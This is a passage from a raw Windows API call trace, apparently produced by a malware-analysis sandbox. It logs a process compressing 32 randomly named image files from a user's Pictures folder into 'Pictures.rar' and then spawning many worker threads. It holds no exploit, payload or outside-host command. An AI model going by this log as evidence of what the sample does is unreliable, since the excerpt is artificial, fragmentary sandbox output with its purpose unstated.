Size=0x20) returned 0x29af760 [0054.002] WriteFile (in: hFile=0x198, lpBuffer=0x172bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x166120, lpOverlapped=0x0 | out: lpBuffer=0x172bf0*, lpNumberOfBytesWritten=0x166120*=0x8, lpOverlapped=0x0) returned 1 [0054.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af760 | out: hHeap=0x1b0000) returned 1 [0054.003] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x167aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x167aa0*=0) returned 0x8 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af760 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af6d0 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af790 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af7c0 [0054.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af790 | out: hHeap=0x1b0000) returned 1 [0054.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af6d0 | out: hHeap=0x1b0000) returned 1 [0054.003] WriteFile (in: hFile=0x198, lpBuffer=0x29af763*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1660e0, lpOverlapped=0x0 | out: lpBuffer=0x29af763*, lpNumberOfBytesWritten=0x1660e0*=0x12, lpOverlapped=0x0) returned 1 [0054.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af7c0 | out: hHeap=0x1b0000) returned 1 [0054.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af760 | out: hHeap=0x1b0000) returned 1 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x60) returned 0x272d90 [0054.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272d90 | out: hHeap=0x1b0000) returned 1 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6328) returned 0x2a1e10 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x358) returned 0x27a7e0 [0054.003] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x19c [0054.003] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x190 [0054.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x40000) returned 0x29afde0 [0054.004] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x358) returned 0x27ab40 [0054.004] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x1a0 [0054.004] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1a4 [0054.004] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xe980) returned 0x29efdf0 [0054.004] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8003) returned 0x29fe780 [0054.005] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8003) returned 0x3a00080 [0054.005] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x358) returned 0x27aea0 [0054.005] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x1a8 [0054.005] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1ac [0054.006] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x100000) returned 0x3c00040 [0054.006] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x46c8) returned 0x2a8140 [0054.007] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4000000) returned 0x3d10040 [0054.008] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1001011) returned 0x7d20040 [0056.564] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x201920 [0056.564] FindClose (in: hFindFile=0x201920 | out: hFindFile=0x201920) returned 1 [0056.564] CreateFileW (lpFileName="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\b5wgjfxuorhjiblxl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0056.565] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0056.565] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0056.565] GetTickCount () returned 0xa64f5a [0056.565] QueryPerformanceCounter (in: lpPerformanceCount=0x16d020 | out: lpPerformanceCount=0x16d020*=13190782205) returned 1 [0056.568] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0056.568] GetLastError () returned 0x0 [0056.568] SetLastError (dwErrCode=0x0) [0056.568] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0056.568] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0056.568] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bc00, nMaxCount=2560 | out: lpString="") returned 0 [0056.568] SetWindowTextW (hWnd=0x1024e, lpString=" 0%") returned 1 [0056.568] ShowWindow (hWnd=0x10250, nCmdShow=9) returned 0 [0058.188] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0058.189] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0058.189] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0058.189] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="32 files found") returned 14 [0058.189] SetWindowTextW (hWnd=0x1024a, lpString="adding") returned 1 [0058.189] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0058.189] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="") returned 0 [0058.189] SetWindowTextW (hWnd=0x1024c, lpString="B5WGJFxuORhJIbLXl.jpg") returned 1 [0058.190] GetTickCount () returned 0xa65083 [0058.190] UpdateWindow (hWnd=0x10244) returned 1 [0058.190] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 1 [0058.190] GetMessageW (in: lpMsg=0x16d4a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d4a0) returned 1 [0058.190] GetFocus () returned 0x10268 [0058.190] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d4a0) returned 0 [0058.190] GetKeyState (nVirtKey=16) returned 0 [0058.190] TranslateAcceleratorW (hWnd=0x10244, hAccTable=0x102c3, lpMsg=0x16d4a0) returned 0 [0058.190] TranslateMessage (lpMsg=0x16d4a0) returned 0 [0058.190] DispatchMessageW (lpMsg=0x16d4a0) returned 0x0 [0058.190] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d20f0) returned 1 [0058.190] CryptGenRandom (in: hProv=0x1d20f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0058.190] CryptReleaseContext (hProv=0x1d20f0, dwFlags=0x0) returned 1 [0058.190] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x14, wMilliseconds=0x16c)) [0058.190] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0058.190] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13353084064) returned 1 [0058.190] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xc38) returned 0x27e420 [0058.191] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xf3ca, lpOverlapped=0x0) returned 1 [0058.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x36df40a, nNumberOfBytesToRead=0xf0c36, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36df40a*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0058.201] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0058.201] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0058.201] GetFocus () returned 0x10268 [0058.201] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 0 [0058.201] GetKeyState (nVirtKey=16) returned 0 [0058.201] TranslateAcceleratorW (hWnd=0x10244, hAccTable=0x102c3, lpMsg=0x16d400) returned 0 [0058.201] TranslateMessage (lpMsg=0x16d400) returned 0 [0058.201] DispatchMessageW (lpMsg=0x16d400) returned 0x0 [0058.201] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.201] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af760 [0058.201] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af7c0 [0058.201] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x29af7c0, Size=0x48) returned 0x26fc00 [0058.201] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27b430 [0058.201] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af7c0 [0058.201] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x29af7c0, Size=0x48) returned 0x26fcf0 [0058.201] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27b430 | out: hHeap=0x1b0000) returned 1 [0058.201] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fc00 | out: hHeap=0x1b0000) returned 1 [0058.201] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af7c0 [0058.201] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x29af6d0 [0058.201] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af6d0 | out: hHeap=0x1b0000) returned 1 [0058.201] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29af7c0 | out: hHeap=0x1b0000) returned 1 [0058.201] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x29af760, Size=0x48) returned 0x26fc00 [0058.201] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fc00, Size=0x7c) returned 0x203630 [0058.201] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fcf0 | out: hHeap=0x1b0000) returned 1 [0058.201] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203630 | out: hHeap=0x1b0000) returned 1 [0058.201] GetTickCount () returned 0xa65083 [0058.201] GetLastError () returned 0x0 [0058.202] SetLastError (dwErrCode=0x0) [0058.202] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0058.202] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0058.202] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0058.202] SetWindowTextW (hWnd=0x1024e, lpString=" 100%") returned 1 [0058.202] ShowWindow (hWnd=0x10250, nCmdShow=9) returned 1 [0058.202] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0058.202] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13354239960) returned 1 [0058.202] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0058.202] GetTickCount () returned 0xa65083 [0058.202] GetLastError () returned 0x0 [0058.202] SetLastError (dwErrCode=0x0) [0058.202] GetDlgItem (hDlg=0x10244, nIDDlgItem=154) returned 0x10256 [0058.202] GetWindowTextW (in: hWnd=0x10256, lpString=0x16bf80, nMaxCount=2560 | out: lpString="") returned 0 [0058.202] SetWindowTextW (hWnd=0x10256, lpString="00:00:01") returned 1 [0058.203] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0058.203] GetTickCount () returned 0xa65092 [0058.203] GetDlgItem (hDlg=0x10244, nIDDlgItem=162) returned 0x10258 [0058.203] ShowWindow (hWnd=0x10258, nCmdShow=0) returned 1 [0058.203] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0058.203] ShowWindow (hWnd=0x1025a, nCmdShow=0) returned 1 [0058.203] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0058.203] GetWindowTextW (in: hWnd=0x1025a, lpString=0x16bf80, nMaxCount=2560 | out: lpString="") returned 0 [0058.203] GetTickCount () returned 0xa65092 [0058.203] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf58 | out: ppv=0x16cf58*=0x2ae730) returned 0x0 [0058.958] TaskbarList:ITaskbarList3:SetProgressState (This=0x2ae730, hwnd=0x10244, tbpFlags=2) returned 0x0 [0058.958] TaskbarList:ITaskbarList3:SetProgressValue (This=0x2ae730, hwnd=0x10244, ullCompleted=0xf3ca, ullTotal=0x940593) returned 0x0 [0058.958] TaskbarList:IUnknown:Release (This=0x2ae730) returned 0x0 [0058.958] GetLastError () returned 0x2 [0058.958] SetLastError (dwErrCode=0x2) [0058.958] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0058.958] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0058.958] GetWindowTextW (in: hWnd=0x10264, lpString=0x16bb20, nMaxCount=2560 | out: lpString="") returned 0 [0058.958] SetWindowTextW (hWnd=0x10264, lpString=" 0%") returned 1 [0058.958] GetLastError () returned 0x0 [0058.958] SetLastError (dwErrCode=0x0) [0058.958] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0058.959] GetWindowTextW (in: hWnd=0x10260, lpString=0x16bb20, nMaxCount=2560 | out: lpString="") returned 0 [0058.959] SetWindowTextW (hWnd=0x10260, lpString=" 0%") returned 1 [0058.959] ShowWindow (hWnd=0x10266, nCmdShow=9) returned 0 [0059.049] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0059.049] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0059.049] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0059.049] GetFocus () returned 0x10268 [0059.049] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 1 [0059.050] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.050] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0xaf8) returned 0x1d0 [0059.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0xafc) returned 0x1d4 [0059.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0xb48) returned 0x1d8 [0059.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x96c) returned 0x1dc [0059.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x978) returned 0x1e0 [0059.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0xba8) returned 0x1e4 [0059.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0xb90) returned 0x1e8 [0059.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x968) returned 0x1ec [0059.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x970) returned 0x1f0 [0059.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9d8) returned 0x1f4 [0059.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x808) returned 0x1f8 [0059.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9d4) returned 0x1fc [0059.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9c8) returned 0x200 [0059.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9cc) returned 0x204 [0059.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9d0) returned 0x208 [0059.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9c4) returned 0x20c [0059.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x810) returned 0x210 [0059.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x620) returned 0x214 [0059.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x9c0) returned 0x218 [0059.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x7dc) returned 0x21c [0059.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x854) returned 0x220 [0059.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x7fc) returned 0x224 [0059.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x784) returned 0x228 [0059.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x398) returned 0x22c [0059.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x53c) returned 0x230 [0059.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x90) returned 0x234 [0059.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x768) returned 0x238 [0059.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x848) returned 0x23c [0059.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x834) returned 0x240 [0059.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x7d8) returned 0x244 [0059.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x6f0) returned 0x248 [0059.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27ab40, dwCreationFlags=0x0, lpThreadId=0x16d490 | out: lpThreadId=0x16d490*=0x84c) returned 0x24c [0059.069] ResetEvent (hEvent=0x1a4) returned 1 [0059.069] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.069] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.152] ResetEvent (hEvent=0x1a4) returned 1 [0059.152] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.152] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.166] GetTickCount () returned 0xa65266 [0059.166] GetLastError () returned 0x0 [0059.166] SetLastError (dwErrCode=0x0) [0059.166] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0059.166] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0059.166] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.166] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0059.167] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13450986294) returned 1 [0059.176] GetTickCount () returned 0xa65276 [0059.176] GetTickCount () returned 0xa65276 [0059.176] GetTickCount () returned 0xa65276 [0059.176] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x2a0da20) returned 0x0 [0059.176] TaskbarList:ITaskbarList3:SetProgressState (This=0x2a0da20, hwnd=0x10244, tbpFlags=2) returned 0x0 [0059.177] TaskbarList:ITaskbarList3:SetProgressValue (This=0x2a0da20, hwnd=0x10244, ullCompleted=0xf3ca, ullTotal=0x940593) returned 0x0 [0059.177] TaskbarList:IUnknown:Release (This=0x2a0da20) returned 0x0 [0059.177] GetLastError () returned 0x36b7 [0059.177] SetLastError (dwErrCode=0x36b7) [0059.177] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0059.177] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0059.177] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.177] GetLastError () returned 0x36b7 [0059.177] SetLastError (dwErrCode=0x36b7) [0059.177] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0059.177] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.177] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0059.177] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0059.178] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0059.178] GetFocus () returned 0x10268 [0059.178] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0059.178] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0059.178] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0059.178] GetFocus () returned 0x10268 [0059.178] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0059.178] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, 